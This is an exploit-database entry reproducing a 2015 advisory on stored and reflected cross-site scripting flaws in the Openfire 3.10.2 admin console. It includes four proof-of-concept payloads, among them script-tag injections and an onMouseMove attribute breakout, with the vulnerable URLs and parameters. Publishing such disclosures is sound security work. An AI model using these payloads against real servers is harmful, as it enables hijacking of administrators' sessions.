header-logo
Suggest Exploit
vendor:
Openfire
by:
hyp3rlinx
5.5
CVSS
MEDIUM
Persistent & Reflected XSS
79
CWE
Product Name: Openfire
Affected Version From: Openfire 3.10.2
Affected Version To:
Patch Exists: NO
Related CWE:
CPE: a:openfire:openfire:3.10.2
Metasploit:
Other Scripts:
Platforms Tested:

Openfire Persistent & Reflected XSS Vulnerability

This vulnerability allows an attacker to execute arbitrary code by injecting malicious scripts into certain parameters of the Openfire application. The persistent XSS occurs when creating a Group Chat Bookmark or URL Bookmark, while the reflected XSS occurs in the search parameter. The exploit codes provided demonstrate how to inject the payloads and execute the code.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user inputs and implement proper input validation and output encoding to prevent the execution of malicious scripts.
Source

Exploit-DB raw data:

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-XSS.txt



Vendor:
================================
www.igniterealtime.org/projects/openfire
www.igniterealtime.org/downloads/index.jsp



Product:
================================
Openfire 3.10.2

Openfire is a real time collaboration (RTC) server licensed under the Open
Source Apache License.
It uses the only widely adopted open protocol for instant messaging, XMPP
(also called Jabber).



Vulnerability Type:
===================
Persistent & Reflected XSS


CVE Reference:
==============
N/A



Vulnerability Details:
=====================

1) Persistent XSS exists when creating an Group Chat Bookmark, XSS will
execute each time victim accesses
the 'Group Chat Bookmarks' web page vuln parameter 'groupchatName' XSS will
be stored in 'ofbookmark'
table in 'bookmarkName' column of the MySQL DB and will be under
boomarkType as 'group_chat'.


2) Persistent XSS exists when creating URL Bookmarks, vuln parameter
'urlName' XSS will be stored in 'ofbookmark' table in
'bookmarkName' column of the MySQL DB will be under column boomarkType as
'url'.


3) Reflected XSS entry point exists in search parameter, script tags fail
but we can defeat using onMouseMove() JS function.


Exploit code(s):
===============

1) persistent XSS:
http://localhost:9090/plugins/clientcontrol/create-bookmark.jsp?type=group_chat

Inject <script>alert(666)</script> payload into the 'Group Chat Name' field
then click 'Create'.


2) persistent XSS:
http://localhost:9090/plugins/clientcontrol/create-bookmark.jsp?type=url

Inject <script>alert('HELL')</script> payload into the 'URL Name' field
then click 'Create'.


3) Reflected XSS:
http://localhost:9090/server-session-details.jsp?hostname=
"/><script>alert(666)</script>


4) Reflected XSS:
http://localhost:9090/group-summary.jsp?search="
onMouseMove="alert('hyp3rlinx')



Disclosure Timeline:
=========================================================

Vendor Notification:  NA
Sept 14, 2015  : Public Disclosure




Exploitation Technique:
=======================
Local & Remote



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):              [+]  POST & GET


Vulnerable Product:             [+]  Openfire 3.10.2


Vulnerable Parameter(s):        [+]  groupchatName, urlName, hostname,
search


Affected Area(s):               [+]  Admin


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx